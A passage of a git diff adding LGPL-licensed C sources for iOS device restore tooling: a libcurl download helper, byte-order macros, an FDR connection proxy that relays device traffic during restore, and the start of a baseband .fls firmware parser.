+ curl_easy_setopt(handle, CURLOPT_PROGRESSFUNCTION, (curl_progress_callback)&download_progress);
+#endif
+ }
+
+ curl_easy_setopt(handle, CURLOPT_NOPROGRESS, enable_progress > 0 ? 0: 1);
+ curl_easy_setopt(handle, CURLOPT_USERAGENT, USER_AGENT_STRING);
+ curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1);
+ curl_easy_setopt(handle, CURLOPT_URL, url);
+
+ curl_easy_perform(handle);
+
+ if (enable_progress) {
+ finalize_progress('DNLD');
+ }
+
+ curl_easy_cleanup(handle);
+
+#ifdef WIN32
+ fflush(f);
+ uint64_t sz = _lseeki64(fileno(f), 0, SEEK_CUR);
+#else
+ off_t sz = ftello(f);
+#endif
+ fclose(f);
+
+ if ((sz == 0) || ((int64_t)sz == (int64_t)-1)) {
+ res = -1;
+ remove(filename);
+ }
+ if (global_quit_flag > 0) {
+ res = -2;
+ }
+
+ return res;
+}
diff --git a/sources/MobileRestoreCore/download.h b/sources/MobileRestoreCore/download.h
new file mode 100644
index 00000000..bbb5aa08
--- /dev/null
+++ b/sources/MobileRestoreCore/download.h
@@ -0,0 +1,38 @@
+/*
+ * download.h
+ * file download helper functions (header file)
+ *
+ * Copyright (c) 2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+#ifndef IDEVICERESTORE_DOWNLOAD_H
+#define IDEVICERESTORE_DOWNLOAD_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <stdint.h>
+
+int download_to_buffer(const char* url, void** buf, size_t* length);
+int download_to_file(const char* url, const char* filename, int enable_progress);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/endianness.h b/sources/MobileRestoreCore/endianness.h
new file mode 100644
index 00000000..972e51b1
--- /dev/null
+++ b/sources/MobileRestoreCore/endianness.h
@@ -0,0 +1,130 @@
+#ifndef ENDIANNESS_H
+#define ENDIANNESS_H
+
+#ifndef __LITTLE_ENDIAN
+#define __LITTLE_ENDIAN 1234
+#endif
+
+#ifndef __BIG_ENDIAN
+#define __BIG_ENDIAN 4321
+#endif
+
+#ifndef __BYTE_ORDER
+#ifdef __LITTLE_ENDIAN__
+#define __BYTE_ORDER __LITTLE_ENDIAN
+#else
+#ifdef __BIG_ENDIAN__
+#define __BYTE_ORDER __BIG_ENDIAN
+#endif
+#endif
+#endif
+
+#ifndef __BYTE_ORDER
+#ifndef _WIN32
+#warning __BYTE_ORDER is not defined, assuming little endian
+#endif
+#define __BYTE_ORDER __LITTLE_ENDIAN
+#endif
+
+#ifndef be16toh
+#if __BYTE_ORDER == __BIG_ENDIAN
+#define be16toh(x) (x)
+#else
+#define be16toh(x) ((((x) & 0xFF00) >> 8) | (((x) & 0x00FF) << 8))
+#endif
+#endif
+
+#ifndef htobe16
+#define htobe16 be16toh
+#endif
+
+#ifndef le16toh
+#if __BYTE_ORDER == __BIG_ENDIAN
+#define le16toh(x) ((((x) & 0xFF00) >> 8) | (((x) & 0x00FF) << 8))
+#else
+#define le16toh(x) (x)
+#endif
+#endif
+
+#ifndef htole16
+#define htole16 le16toh
+#endif
+
+#ifndef __bswap_32
+#define __bswap_32(x) ((((x) & 0xFF000000) >> 24) \
+ | (((x) & 0x00FF0000) >> 8) \
+ | (((x) & 0x0000FF00) << 8) \
+ | (((x) & 0x000000FF) << 24))
+#endif
+
+#ifndef be32toh
+#if __BYTE_ORDER == __BIG_ENDIAN
+#define be32toh(x) (x)
+#else
+#define be32toh(x) __bswap_32(x)
+#endif
+#endif
+
+#ifndef htobe32
+#define htobe32 be32toh
+#endif
+
+#ifndef le32toh
+#if __BYTE_ORDER == __BIG_ENDIAN
+#define le32toh(x) __bswap_32(x)
+#else
+#define le32toh(x) (x)
+#endif
+#endif
+
+#ifndef htole32
+#define htole32 le32toh
+#endif
+
+#ifndef __bswap_64
+#define __bswap_64(x) ((((x) & 0xFF00000000000000ull) >> 56) \
+ | (((x) & 0x00FF000000000000ull) >> 40) \
+ | (((x) & 0x0000FF0000000000ull) >> 24) \
+ | (((x) & 0x000000FF00000000ull) >> 8) \
+ | (((x) & 0x00000000FF000000ull) << 8) \
+ | (((x) & 0x0000000000FF0000ull) << 24) \
+ | (((x) & 0x000000000000FF00ull) << 40) \
+ | (((x) & 0x00000000000000FFull) << 56))
+#endif
+
+#ifndef htobe64
+#if __BYTE_ORDER == __BIG_ENDIAN
+#define htobe64(x) (x)
+#else
+#define htobe64(x) __bswap_64(x)
+#endif
+#endif
+
+#ifndef be64toh
+#define be64toh htobe64
+#endif
+
+#ifndef le64toh
+#if __BYTE_ORDER == __LITTLE_ENDIAN
+#define le64toh(x) (x)
+#else
+#define le64toh(x) __bswap_64(x)
+#endif
+#endif
+
+#ifndef htole64
+#define htole64 le64toh
+#endif
+
+#if (defined(__BIG_ENDIAN__) \
+ && !defined(__FLOAT_WORD_ORDER__)) \
+ || (defined(__FLOAT_WORD_ORDER__) \
+ && __FLOAT_WORD_ORDER__ == __ORDER_BIG_ENDIAN__)
+#define float_bswap64(x) __bswap_64(x)
+#define float_bswap32(x) __bswap_32(x)
+#else
+#define float_bswap64(x) (x)
+#define float_bswap32(x) (x)
+#endif
+
+#endif /* ENDIANNESS_H */
diff --git a/sources/MobileRestoreCore/fdr.c b/sources/MobileRestoreCore/fdr.c
new file mode 100644
index 00000000..9dbe59c6
--- /dev/null
+++ b/sources/MobileRestoreCore/fdr.c
@@ -0,0 +1,629 @@
+/*
+ * fdr.c
+ * Connection proxy service used by FDR
+ *
+ * Copyright (c) 2014 BALATON Zoltan. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <libimobiledevice/libimobiledevice.h>
+#include <libimobiledevice-glue/socket.h>
+
+#include "common.h"
+#include "idevicerestore.h"
+#include "fdr.h"
+#include <endianness.h> /* from libimobiledevice */
+
+#define CTRL_PORT 0x43a /*1082*/
+#define CTRLCMD "BeginCtrl"
+#define HELLOCTRLCMD "HelloCtrl"
+#define HELLOCMD "HelloConn"
+
+#define FDR_SYNC_MSG 0x1
+#define FDR_PROXY_MSG 0x105
+#define FDR_PLIST_MSG 0xbbaa
+
+static uint64_t conn_port;
+static int ctrlprotoversion = 2;
+static int serial;
+
+static int fdr_receive_plist(fdr_client_t fdr, plist_t* data);
+static int fdr_send_plist(fdr_client_t fdr, plist_t data);
+static int fdr_ctrl_handshake(fdr_client_t fdr);
+static int fdr_sync_handshake(fdr_client_t fdr);
+static int fdr_handle_sync_cmd(fdr_client_t fdr);
+static int fdr_handle_plist_cmd(fdr_client_t fdr);
+static int fdr_handle_proxy_cmd(fdr_client_t fdr);
+
+int fdr_connect(idevice_t device, fdr_type_t type, fdr_client_t* fdr)
+{
+ int res = -1, i = 0;
+ int attempts = 10;
+ idevice_connection_t connection = NULL;
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ uint16_t port = (type == FDR_CONN ? conn_port : CTRL_PORT);
+
+ *fdr = NULL;
+
+ logger(LL_DEBUG, "Connecting to FDR client at port %u\n", port);
+
+ for (i = 1; i <= attempts; i++) {
+ device_error = idevice_connect(device, port, &connection);
+ if (device_error == IDEVICE_E_SUCCESS) {
+ break;
+ }
+
+ if (i >= attempts) {
+ logger(LL_ERROR, "Unable to connect to FDR client (%d)\n", device_error);
+ return -1;
+ }
+
+ sleep(2);
+ logger(LL_DEBUG, "Retrying connection...\n");
+ }
+
+ fdr_client_t fdr_loc = calloc(1, sizeof(struct fdr_client));
+ if (!fdr_loc) {
+ logger(LL_ERROR, "Unable to allocate memory\n");
+ return -1;
+ }
+ fdr_loc->connection = connection;
+ fdr_loc->device = device;
+ fdr_loc->type = type;
+
+ /* Do handshake */
+ if (type == FDR_CTRL)
+ res = fdr_ctrl_handshake(fdr_loc);
+ else if (type == FDR_CONN)
+ res = fdr_sync_handshake(fdr_loc);
+
+ if (res) {
+ fdr_free(fdr_loc);
+ return -1;
+ }
+
+ *fdr = fdr_loc;
+
+ return 0;
+}
+
+void fdr_disconnect(fdr_client_t fdr)
+{
+ if (!fdr)
+ return;
+
+ if (fdr->connection) {
+ idevice_connection_t conn = fdr->connection;
+ fdr->connection = NULL;
+ idevice_disconnect(conn);
+ }
+}
+
+void fdr_free(fdr_client_t fdr)
+{
+ if (!fdr)
+ return;
+
+ fdr_disconnect(fdr);
+
+ free(fdr);
+ fdr = NULL;
+}
+
+int fdr_poll_and_handle_message(fdr_client_t fdr)
+{
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ uint32_t bytes = 0;
+ uint16_t cmd;
+
+ if (!fdr) {
+ logger(LL_ERROR, "Invalid FDR client\n");
+ return -1;
+ }
+
+ device_error = idevice_connection_receive_timeout(fdr->connection, (char *)&cmd, sizeof(cmd), &bytes, 20000);
+#ifdef HAVE_IDEVICE_E_TIMEOUT
+ if (device_error == IDEVICE_E_TIMEOUT || (device_error == IDEVICE_E_SUCCESS && bytes != sizeof(cmd)))
+#else
+ if (device_error == IDEVICE_E_SUCCESS && bytes != sizeof(cmd))
+#endif
+ {
+ logger(LL_DEBUG, "FDR %p timeout waiting for command\n", fdr);
+ return 0;
+ }
+ else if (device_error != IDEVICE_E_SUCCESS) {
+ if (fdr->connection) {
+ logger(LL_ERROR, "Unable to receive message from FDR %p (%d). %u/%u bytes\n", fdr, device_error, bytes, (uint32_t)sizeof(cmd));
+ }
+ return -1;
+ }
+
+ if (cmd == FDR_SYNC_MSG) {
+ logger(LL_DEBUG, "FDR %p got sync message\n", fdr);
+ return fdr_handle_sync_cmd(fdr);
+ }
+
+ if (cmd == FDR_PROXY_MSG) {
+ logger(LL_DEBUG, "FDR %p got proxy message\n", fdr);
+ return fdr_handle_proxy_cmd(fdr);
+ }
+
+ if (cmd == FDR_PLIST_MSG) {
+ logger(LL_DEBUG, "FDR %p got plist message\n", fdr);
+ return fdr_handle_plist_cmd(fdr);
+ }
+
+ logger(LL_WARNING, "FDR %p received unknown packet %#x of size %u\n", fdr, cmd, bytes);
+ return 0;
+}
+
+void *fdr_listener_thread(void *cdata)
+{
+ fdr_client_t fdr = cdata;
+ int res = 0;
+
+ while (fdr && fdr->connection) {
+ logger(LL_DEBUG, "FDR %p waiting for message...\n", fdr);
+ res = fdr_poll_and_handle_message(fdr);
+ if (fdr->type == FDR_CTRL && res >= 0)
+ continue; // main thread should always retry
+ if (res != 0)
+ break;
+ }
+ logger(LL_DEBUG, "FDR %p terminating...\n", fdr);
+ fdr_free(fdr);
+ return (void *)(intptr_t)res;
+}
+
+static int fdr_receive_plist(fdr_client_t fdr, plist_t* data)
+{
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ uint32_t len, bytes = 0;
+ char* buf = NULL;
+
+ device_error = idevice_connection_receive(fdr->connection, (char*)&len, sizeof(len), &bytes);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to receive packet length from FDR (%d)\n", device_error);
+ return -1;
+ }
+
+ buf = calloc(1, len);
+ if (!buf) {
+ logger(LL_ERROR, "Unable to allocate memory for FDR receive buffer\n");
+ return -1;
+ }
+
+ device_error = idevice_connection_receive(fdr->connection, buf, len, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Unable to receive data from FDR\n");
+ free(buf);
+ return -1;
+ }
+ plist_from_bin(buf, bytes, data);
+ free(buf);
+
+ logger(LL_DEBUG, "FDR Received %d bytes\n", bytes);
+
+ return 0;
+}
+
+static int fdr_send_plist(fdr_client_t fdr, plist_t data)
+{
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ char *buf = NULL;
+ uint32_t len = 0, bytes = 0;
+
+ if (!data)
+ return -1;
+
+ plist_to_bin(data, &buf, &len);
+ if (!buf)
+ return -1;
+
+ logger(LL_DEBUG, "FDR sending %d bytes:\n", len);
+ logger_dump_plist(LL_DEBUG, data, 1);
+ device_error = idevice_connection_send(fdr->connection, (char *)&len, sizeof(len), &bytes);
+ if (device_error != IDEVICE_E_SUCCESS || bytes != sizeof(len)) {
+ logger(LL_ERROR, "FDR unable to send data length. (%d) Sent %u of %u bytes.\n",
+ device_error, bytes, (uint32_t)sizeof(len));
+ free(buf);
+ return -1;
+ }
+ device_error = idevice_connection_send(fdr->connection, buf, len, &bytes);
+ free(buf);
+ if (device_error != IDEVICE_E_SUCCESS || bytes != len) {
+ logger(LL_ERROR, "FDR unable to send data (%d). Sent %u of %u bytes.\n",
+ device_error, bytes, len);
+ return -1;
+ }
+
+ logger(LL_DEBUG, "FDR Sent %d bytes\n", bytes);
+ return 0;
+}
+
+static int fdr_ctrl_handshake(fdr_client_t fdr)
+{
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ uint32_t bytes = 0, len = sizeof(CTRLCMD);
+ plist_t dict, node;
+ int res;
+
+ logger(LL_DEBUG, "About to do ctrl handshake\n");
+
+ ctrlprotoversion = 2;
+
+ device_error = idevice_connection_send(fdr->connection, CTRLCMD, len, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS || bytes != len) {
+ logger(LL_DEBUG, "Hmm... looks like the device doesn't like the newer protocol, using the old one\n");
+ ctrlprotoversion = 1;
+ len = sizeof(HELLOCTRLCMD);
+ device_error = idevice_connection_send(fdr->connection, HELLOCTRLCMD, len, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS || bytes != len) {
+ logger(LL_ERROR, "FDR unable to send BeginCtrl. Sent %u of %u bytes.\n", bytes, len);
+ return -1;
+ }
+ }
+
+ if (ctrlprotoversion == 2) {
+ dict = plist_new_dict();
+ plist_dict_set_item(dict, "Command", plist_new_string(CTRLCMD));
+ plist_dict_set_item(dict, "CtrlProtoVersion", plist_new_uint(ctrlprotoversion));
+ res = fdr_send_plist(fdr, dict);
+ plist_free(dict);
+ if (res) {
+ logger(LL_ERROR, "FDR could not send Begin command.\n");
+ return -1;
+ }
+
+ if (fdr_receive_plist(fdr, &dict)) {
+ logger(LL_ERROR, "FDR did not get Begin command reply.\n");
+ return -1;
+ }
+ logger_dump_plist(LL_DEBUG, dict, 1);
+ node = plist_dict_get_item(dict, "ConnPort");
+ if (node && plist_get_node_type(node) == PLIST_UINT) {
+ plist_get_uint_val(node, &conn_port);
+ } else {
+ logger(LL_ERROR, "Could not get FDR ConnPort value\n");
+ return -1;
+ }
+
+ plist_free(dict);
+ } else {
+ char buf[16];
+ uint16_t cport = 0;
+
+ memset(buf, '\0', sizeof(buf));
+
+ bytes = 0;
+ device_error = idevice_connection_receive(fdr->connection, buf, 10, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Could not receive reply to HelloCtrl command\n");
+ return -1;
+ }
+ if (memcmp(buf, "HelloCtrl", 10) != 0) {
+ buf[9] = '\0';
+ logger(LL_ERROR, "Did not receive HelloCtrl as reply, but %s\n", buf);
+ return -1;
+ }
+
+ bytes = 0;
+ device_error = idevice_connection_receive(fdr->connection, (char*)&cport, 2, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Failed to receive conn port\n");
+ return -1;
+ }
+
+ conn_port = le16toh(cport);
+ }
+
+ logger(LL_DEBUG, "Ctrl handshake done (ConnPort = %" PRIu64 ")\n", (uint64_t)conn_port);
+
+ return 0;
+}
+
+static int fdr_sync_handshake(fdr_client_t fdr)
+{
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ uint32_t bytes = 0, len = sizeof(HELLOCMD);
+ plist_t reply;
+
+ device_error = idevice_connection_send(fdr->connection, HELLOCMD, len, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS || bytes != len) {
+ logger(LL_ERROR, "FDR unable to send Hello. Sent %u of %u bytes.\n", bytes, len);
+ return -1;
+ }
+
+ if (ctrlprotoversion == 2) {
+ if (fdr_receive_plist(fdr, &reply)) {
+ logger(LL_ERROR, "FDR did not get HelloConn reply.\n");
+ return -1;
+ }
+ char* identifier = NULL;
+ char* cmd = NULL;
+ plist_t node = NULL;
+ node = plist_dict_get_item(reply, "Command");
+ if (node) {
+ plist_get_string_val(node, &cmd);
+ }
+ node = plist_dict_get_item(reply, "Identifier");
+ if (node) {
+ plist_get_string_val(node, &identifier);
+ }
+ plist_free(reply);
+
+ if (!cmd || (strcmp(cmd, "HelloConn") != 0)) {
+ if (cmd) {
+ free(cmd);
+ }
+ if (identifier) {
+ free(identifier);
+ }
+ logger(LL_ERROR, "Did not receive HelloConn reply...\n");
+ return -1;
+ }
+ free(cmd);
+
+ if (identifier) {
+ logger(LL_DEBUG, "Got device identifier %s\n", identifier);
+ free(identifier);
+ }
+
+ } else {
+ char buf[16];
+ memset(buf, '\0', sizeof(buf));
+ bytes = 0;
+ device_error = idevice_connection_receive(fdr->connection, buf, 10, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "Could not receive reply to HelloConn command\n");
+ return -1;
+ }
+ if (memcmp(buf, "HelloConn", 10) != 0) {
+ buf[9] = '\0';
+ logger(LL_ERROR, "Did not receive HelloConn as reply, but %s\n", buf);
+ return -1;
+ }
+ }
+
+ return 0;
+}
+
+static int fdr_handle_sync_cmd(fdr_client_t fdr_ctrl)
+{
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ fdr_client_t fdr;
+ THREAD_T fdr_thread = THREAD_T_NULL;
+ int res = 0;
+ uint32_t bytes = 0;
+ char buf[4096];
+
+ device_error = idevice_connection_receive(fdr_ctrl->connection, buf, sizeof(buf), &bytes);
+ if (device_error != IDEVICE_E_SUCCESS || bytes != 2) {
+ logger(LL_ERROR, "Unexpected data from FDR\n");
+ return -1;
+ }
+ /* Open a new connection and wait for messages on it */
+ if (fdr_connect(fdr_ctrl->device, FDR_CONN, &fdr)) {
+ logger(LL_ERROR, "Failed to connect to FDR port\n");
+ return -1;
+ }
+ logger(LL_DEBUG, "FDR connected in reply to sync message, starting command thread\n");
+ res = thread_new(&fdr_thread, fdr_listener_thread, fdr);
+ if(res) {
+ logger(LL_ERROR, "Failed to start FDR command thread\n");
+ fdr_free(fdr);
+ }
+ return res;
+}
+
+static int fdr_handle_plist_cmd(fdr_client_t fdr)
+{
+ int res = 0;
+ plist_t dict;
+
+ if (fdr_receive_plist(fdr, &dict)) {
+ logger(LL_ERROR, "FDR %p could not receive plist command.\n", fdr);
+ return -1;
+ }
+ plist_t node = plist_dict_get_item(dict, "Command");
+ if (!node || (plist_get_node_type(node) != PLIST_STRING)) {
+ logger(LL_ERROR, "FDR %p Could not find Command in plist command\n", fdr);
+ plist_free(dict);
+ return -1;
+ }
+ char *command = NULL;
+ plist_get_string_val(node, &command);
+ plist_free(dict);
+
+ if (!command) {
+ logger(LL_INFO, "FDR %p received empty plist command\n", fdr);
+ return -1;
+ }
+
+ if (!strcmp(command, "Ping")) {
+ dict = plist_new_dict();
+ plist_dict_set_item(dict, "Pong", plist_new_bool(1));
+ res = fdr_send_plist(fdr, dict);
+ plist_free(dict);
+ if (res) {
+ logger(LL_ERROR, "FDR %p could not send Ping command reply.\n", fdr);
+ free(command);
+ return -1;
+ }
+ } else {
+ logger(LL_WARNING, "FDR %p received unknown plist command: %s\n", fdr, command);
+ free(command);
+ return -1;
+ }
+
+ free(command);
+ /* FDR connection will be terminated remotely. Next receive will get nothing, error and terminate this worker thread. */
+ return 0;
+}
+
+static int fdr_handle_proxy_cmd(fdr_client_t fdr)
+{
+ idevice_error_t device_error = IDEVICE_E_SUCCESS;
+ char *buf = NULL;
+ size_t bufsize = 1048576;
+ uint32_t sent = 0, bytes = 0;
+ char *host = NULL;
+ uint16_t port = 0;
+
+ buf = malloc(bufsize);
+ if (!buf) {
+ logger(LL_ERROR, "%s: malloc failed\n", __func__);
+ return -1;
+ }
+
+ device_error = idevice_connection_receive(fdr->connection, buf, bufsize, &bytes);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ free(buf);
+ logger(LL_ERROR, "FDR %p failed to read data for proxy command\n", fdr);
+ return -1;
+ }
+ logger(LL_DEBUG, "Got proxy command with %u bytes\n", bytes);
+
+ /* Just return success here unconditionally because we don't know
+ * anything else and we will eventually abort on failure anyway */
+ uint16_t ack = 5;
+ device_error = idevice_connection_send(fdr->connection, (char *)&ack, sizeof(ack), &sent);
+ if (device_error != IDEVICE_E_SUCCESS || sent != sizeof(ack)) {
+ free(buf);
+ logger(LL_ERROR, "FDR %p unable to send ack. Sent %u of %u bytes.\n",
+ fdr, sent, (uint32_t)sizeof(ack));
+ return -1;
+ }
+
+ if (bytes < 3) {
+ logger(LL_DEBUG, "FDR %p proxy command data too short, retrying\n", fdr);
+ return fdr_poll_and_handle_message(fdr);
+ }
+
+ /* ack command data too */
+ device_error = idevice_connection_send(fdr->connection, buf, bytes, &sent);
+ if (device_error != IDEVICE_E_SUCCESS || sent != bytes) {
+ free(buf);
+ logger(LL_ERROR, "FDR %p unable to send data. Sent %u of %u bytes.\n",
+ fdr, sent, bytes);
+ return -1;
+ }
+
+ /* Now try to handle actual messages */
+ /* Connect: 0 3 hostlen <host> <port> */
+ if (buf[0] == 0 && buf[1] == 3) {
+ uint16_t *p = (uint16_t *)&buf[bytes - 2];
+ port = be16toh(*p);
+ buf[bytes - 2] = '\0';
+ host = strdup(&buf[3]);
+ logger(LL_DEBUG, "FDR %p Proxy connect request to %s:%u\n", fdr, host, port);
+ }
+
+ if (!host || !buf[2]) {
+ /* missing or zero length host name */
+ free(buf);
+ return 0;
+ }
+
+ /* else wait for messages and forward them */
+ int sockfd = socket_connect(host, port);
+ free(host);
+ if (sockfd < 0) {
+ free(buf);
+ logger(LL_ERROR, "Failed to connect socket: %s\n", strerror(errno));
+ return -1;
+ }
+
+ int res = 0, bytes_ret;
+ while (1) {
+ bytes = 0;
+ device_error = idevice_connection_receive_timeout(fdr->connection, buf, bufsize, &bytes, 100);
+#ifdef HAVE_IDEVICE_E_TIMEOUT
+ if (device_error == IDEVICE_E_TIMEOUT || (device_error == IDEVICE_E_SUCCESS && !bytes))
+#else
+ if (device_error == IDEVICE_E_SUCCESS && !bytes)
+#endif
+ {
+ //logger(LL_DEBUG, "Timeout waiting for proxy payload. %p\n", fdr);
+ }
+ else if (device_error != IDEVICE_E_SUCCESS) {
+ logger(LL_ERROR, "FDR %p Unable to receive proxy payload (%d)\n", fdr, device_error);
+ res = -1;
+ break;
+ }
+ if (bytes) {
+ logger(LL_DEBUG, "FDR %p got payload of %u bytes, now trying to proxy it\n", fdr, bytes);
+ logger(LL_DEBUG, "Sending %u bytes of data\n", bytes);
+ sent = 0;
+ while (sent < bytes) {
+ int s = socket_send(sockfd, buf + sent, bytes - sent);
+ if (s < 0) {
+ break;
+ }
+ sent += s;
+ }
+ if (sent != bytes) {
+ logger(LL_ERROR, "Sending proxy payload failed: %s. Sent %u of %u bytes. \n", strerror(errno), sent, bytes);
+ socket_close(sockfd);
+ res = -1;
+ break;
+ }
+ }
+ bytes_ret = socket_receive_timeout(sockfd, buf, bufsize, 0, 100);
+ if (bytes_ret == -ETIMEDOUT) {
+ bytes_ret = 0;
+ } else if (bytes_ret == -ECONNRESET) {
+ res = 1;
+ break;
+ } else if (bytes_ret < 0) {
+ logger(LL_ERROR, "FDR %p receiving proxy payload failed: %d (%s)\n",
+ fdr, bytes_ret, strerror(-bytes_ret));
+ break;
+ }
+
+ bytes = bytes_ret;
+ if (bytes) {
+ logger(LL_DEBUG, "FDR %p Received %u bytes reply data,%s sending to device\n",
+ fdr, bytes, (bytes ? "" : " not"));
+
+ sent = 0;
+ while (sent < bytes) {
+ uint32_t s;
+ device_error = idevice_connection_send(fdr->connection, buf + sent, bytes - sent, &s);
+ if (device_error != IDEVICE_E_SUCCESS) {
+ break;
+ }
+ sent += s;
+ }
+ if (device_error != IDEVICE_E_SUCCESS || bytes != sent) {
+ logger(LL_ERROR, "FDR %p unable to send data (%d). Sent %u of %u bytes.\n", fdr, device_error, sent, bytes);
+ res = -1;
+ break;
+ }
+ } else serial++;
+ }
+ socket_close(sockfd);
+ free(buf);
+ return res;
+}
diff --git a/sources/MobileRestoreCore/fdr.h b/sources/MobileRestoreCore/fdr.h
new file mode 100644
index 00000000..c10fd6c4
--- /dev/null
+++ b/sources/MobileRestoreCore/fdr.h
@@ -0,0 +1,53 @@
+/*
+ * fdr.h
+ * Functions for handling FDR connections
+ *
+ * Copyright (c) 2014 BALATON Zoltan. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_FDR_H
+#define IDEVICERESTORE_FDR_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <libimobiledevice/libimobiledevice.h>
+
+typedef enum {
+ FDR_CTRL,
+ FDR_CONN
+} fdr_type_t;
+
+struct fdr_client {
+ idevice_connection_t connection;
+ idevice_t device;
+ fdr_type_t type;
+};
+typedef struct fdr_client *fdr_client_t;
+
+int fdr_connect(idevice_t device, fdr_type_t type, fdr_client_t *fdr);
+void fdr_disconnect(fdr_client_t fdr);
+void fdr_free(fdr_client_t fdr);
+int fdr_poll_and_handle_message(fdr_client_t fdr);
+void *fdr_listener_thread(void *cdata);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/fls.c b/sources/MobileRestoreCore/fls.c
new file mode 100644
index 00000000..8b747a93
--- /dev/null
+++ b/sources/MobileRestoreCore/fls.c
@@ -0,0 +1,338 @@
+/*
+ * fls.c
+ * support for .fls file format (found in .bbfw files)
+ *
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "fls.h"
+#include "common.h"
+
+#ifndef offsetof
+#define offsetof(type, member) __builtin_offsetof (type, member)
+#endif
+
+static void fls_parse_elements(fls_file* fls)
+{
+ /* FIXME: the following code is not big endian safe */
+ if (!fls || !fls->data) {
+ return;
+ }
+ uint32_t offset = 0;
+ fls->max_elements = 32;
+ fls->elements = (fls_element**)malloc(sizeof(fls_element*) * fls->max_elements);
+
+ fls_element* cur = NULL;
+ do {
+ void* p = fls->data + offset;
+ uint32_t hdrsize = 0;
+ cur = (fls_element*)p;
+ if ((offset + cur->size) > fls->size) {
+ break;
+ }
+ fls_element* ne;
+ switch (cur->type) {
+ case 0x0c:
+ {
+ hdrsize = offsetof(fls_0c_element, data);
+ fls_0c_element* xe = (fls_0c_element*)malloc(sizeof(fls_0c_element));
+ memset(xe, '\0', sizeof(fls_0c_element));
+ memcpy((void*)xe, p, hdrsize);
+ xe->data = (xe->size > hdrsize) ? p + hdrsize : NULL;
+ ne = (fls_element*)xe;
+ fls->c_element = xe;
+ }
+ break;
+ case 0x10:
+ {
+ hdrsize = offsetof(fls_10_element, data);
+ fls_10_element* xe = (fls_10_element*)malloc(sizeof(fls_10_element));
+ memset(xe, '\0', sizeof(fls_10_element));
+ memcpy((void*)xe, p, hdrsize);
+ xe->data = (xe->size > hdrsize) ? p + hdrsize : NULL;
+ ne = (fls_element*)xe;
+ }
+ break;
+ case 0x14:
+ {
+ hdrsize = offsetof(fls_14_element, data);
+ fls_14_element* xe = (fls_14_element*)malloc(sizeof(fls_14_element));
+ memset(xe, '\0', sizeof(fls_14_element));
+ memcpy((void*)xe, p, hdrsize);
